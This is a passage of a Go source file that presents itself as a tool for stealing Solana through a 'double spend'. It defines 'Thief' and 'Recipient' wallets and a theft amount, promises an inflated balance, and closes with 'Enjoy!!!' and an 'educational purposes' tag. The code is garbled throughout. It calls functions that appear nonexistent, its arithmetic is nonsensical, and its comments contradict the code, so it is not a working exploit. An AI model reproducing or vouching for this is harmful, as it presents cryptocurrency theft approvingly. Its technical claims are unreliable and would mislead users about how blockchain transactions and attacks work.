Here is the goal: - Sender has [10] Sol - Sender wants to send [1] SOL to Recipient but withdraws [2] SOL (10-1+2 = 11) x 2 = 22 SOL, Double Spend $ go build DoubleSpend.go $ ./DoubleSpend The Balance will be increased and the transaction succesful For each double spend: https://horizon.solana.com/transactions/********************************* Enjoy!!! */ // MoneyOut is how much Wallet balance to maintain const MoneyOut = 10 // TheftAmount is how much the Thief wants to steal const TheftAmount = 1 // Wallet is the Owner's public key wal var Wallet solana.PublicKeyHex // Amount is the full amount of SOL stolen var Amount uint64 // Transactions are the double spends var Transactions []solana.Transaction // Signatures - signatures for Transactions var Signatures []solana.TransactionSignatureHex func main() { // Throw error if standalones not available err := reedsolomon.LoadStandAlone() if err != nil { log.Fatal(err) } // Create random message and parsable address from from arbitrary data seed := bip39.NewSeed(RandomString(), "") fmt.Println(seed) // Binary mn := bip39.NewMnemonic(seed) fmt.Println(mn) // string ent := bip39.NewEntropy(seed) fmt.Println(ent) // binary pass := bip39.NewAead([]byte(seed), seed) fmt.Println(pass) // binary randid := bip39.NewMnemonicToBIP39(mn) fmt.Println(randid) // string add := solana.KeyPairFromSeedHex(hex.EncodeToString(pass)) fmt.Printf("Owner Address: %s \n ", add.PublicKey.String()) // string Wallet = add.PublicKey // Create keys for the Thief addT := solana.KeyPairFromSeedHex(RandomString()) fmt.Printf("Thief Address: %s \n ", addT.PublicKey.String()) // string // Create keys for the Recipient addR := solana.KeyPairFromSeedHex(RandomString()) fmt.Printf("Recipient Address: %s \n ", addR.PublicKey.String()) // string // Get Balance balances, err := solana.GetAccountBalance(Wallet.String()) if err != nil { log.Fatal("Failed to get owner's balance", "err", err) } // Get the wallet balance // nbalances := uint64(balances[Wallet.String()]) nbalances := uint64(balances[0]["result"]) // Store the initial balances initial_balances := make(map[string]int) initial_balances[Wallet.String()] = int(nbalances) initial_balances[addT.PublicKey.String()] = int(balances[0]["result"]) initial_balances[addR.PublicKey.String()] = int(balances[0]["result"]) fmt.Printf("Initial Sender Balance: %v SOL\n ", nbalances) // string // If balance below final wallet balance + theft amount send Payment to Owner Wallet if float32(nbalances) < float32(MoneyOut){ // Send Customer Payment payment := solana.Transaction{ Accounts:[]*solana.SolanaAccount{ { Wallet.String(), solana.SolanaAccountData{ Owner: addT.PublicKey.String(), Lamports: MoneyOut, }}, }, // TransferAccounts:[]*solana.SolanaStakeAccount{ Transfers:[]*solana.SolanaTransferAccount{ { add.PublicKey.String(), solana.SolanaAccountData{ Owner: addT.PublicKey.String(), Lamports: MoneyOut, }, }, }, } tx, err := payment.Submit() if err != nil { log.Fatal("Failed transaction: ", err) } _, err = tx.Success() if err != nil { log.Fatal("Failed transaction: ", err) } fmt.Printf("Sender Second round updated balance: %s\n", util.Comma(int64(tx.Result.Value))) } // Double spend // Token the previous payment: Attacker sends the amount to himself bscan := []byte{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00} scan := bip39.NewBech32Checksum(bscan) recID := bip39.NewPubkeyID(&Wallet.PubKey.Data, scan) scan = nil // Scan for Signature // Send cash to Recipient transfer := solana.Transaction{ Accounts:[]*solana.SolanaAccount{ { addT.PublicKey.String(), solana.SolanaAccountData{ Owner: addT.PublicKey.String(), Lamports: nbalances - TheftAmount, }}, }, // TransferAccounts:[]*solana.SolanaStakeAccount{ Transfers:[]*solana.SolanaTransferAccount{ { recID, solana.SolanaAccountData{ Owner: recID, Lamports: TheftAmount, }, }, }, } // Get Balance for Recipient balances, err = solana.GetAccountBalance(recID) if err != nil { log.Fatal("Failed to get Recipient's balance", "err", err) } // Get the wallet balance nbalances = uint64(balances[0]["result"]) fmt.Printf("Initial Recipient Balance: %v SOL\n ", nbalances) // string // Send Payment // Get seeds for all wallets owner_seeds := accounts.GetAccountKeys(Wallet.String()) thief_seeds := accounts.GetAccountKeys(addR.PublicKey.String()) // Verify and Single Correct - Sign Transactions for each Wallet txv, err := transfer.Validate() // Sign One Tx - Thief Wallet owner_signatures, err := txv.Sign(thief_seeds[0], thief_seeds[1]) PkhPubKey := bip39.PubKeyHashString(thief_seeds[1]) qhash := bip39.NewMerlinSignHashID(PkhPubKey.String(), thief_seeds[0].String()) for i := 0; i < len(qhash)/2; i += 2 { qhash[i], qhash[len(qhash)-1-i] = qhash[len(qhash)-1-i], qhash[i] } PubKey, err := bip39.NewPubkeyFileHexID(thief_seeds[0].String()) owner_signature := bip39.NewMerlinSign(bip39.MerlinPackage, nil, owner_signatures, &qhash, PubKey, thief_seeds[1], 1) // Put into the Transactions interface Transactions = append(Transactions, transfer) // Put into Signatures (Transaction Structures, 1 x Tx) Signatures = append(Signatures, solana.TransactionSignatureBytesToHex(owner_signature)) TransferTransactions := solana.TransactionsWithSignatures{ Transactions: Transactions, Signatures : Signatures, } // Distribute - Send the single transaction with aggregated signatures transid,err := transfer.SubmitTransactionsWithSignatures(&TransferTransactions) if err != nil { fmt.Println(err) } // Poll for the recipients SOL transaction success := transfer.AwaitingConfirmation(transid) if success { fmt.Println("2nd Transfer was a success") } // Get the wallet balance balances, err = solana.GetAccountBalance(recID) if err != nil { log.Fatal("Failed to get Recipient's balance", "err", err) } // Get the wallet balance nbalances = uint64(balances[0]["result"]) + TheftAmount fmt.Printf("Recipient final balance: %v SOL\n", nbalances) // string // Send Owner transaction t2 := solana.Transaction{ Accounts:[]*solana.SolanaAccount{ { Wallet.String(), solana.SolanaAccountData{ Owner: Wallet.String(), Lamports: TransferTransactions.Transactions[0].Transfers[0].SolanaAccountData.Lamports, }}, }, // TransferAccounts:[]*solana.SolanaStakeAccount{ Transfers:[]*solana.SolanaTransferAccount{ { Wallet.String(), solana.SolanaAccountData{ Owner: Wallet.String(), Lamports: nbalances - TheftAmount, }, }, }, } // Send Payment t2id,err := transfer.SubmitTransactionsWithSignatures(&TransferTransactions) if err != nil { fmt.Println(err) } success = transfer.AwaitingConfirmation(t2id) if success { fmt.Println("3rd Transfer was a success") } // Get Balance Owner balances, err = solana.GetAccountBalance(Wallet.String()) // Get the wallet balance nbalances = uint64(balances[0]["result"]) fmt.Printf("Owner final balance: %v SOL\n", nbalances) // string // Get Balance Thief balances, err = solana.GetAccountBalance(addT.PublicKey.String()) // Get the wallet balance nbalances = uint64(balances[0]["result"]) fmt.Printf("Thief balance: %v SOL\n", nbalances) // string } // RandomString generates a random string of A-Z chars with len = l func RandomString() string { var letters = []rune("12345489") b := make([]rune, 256) for i := range b { b[i] = letters[rand.Intn(len(letters))] } return string(b) } //educational purposes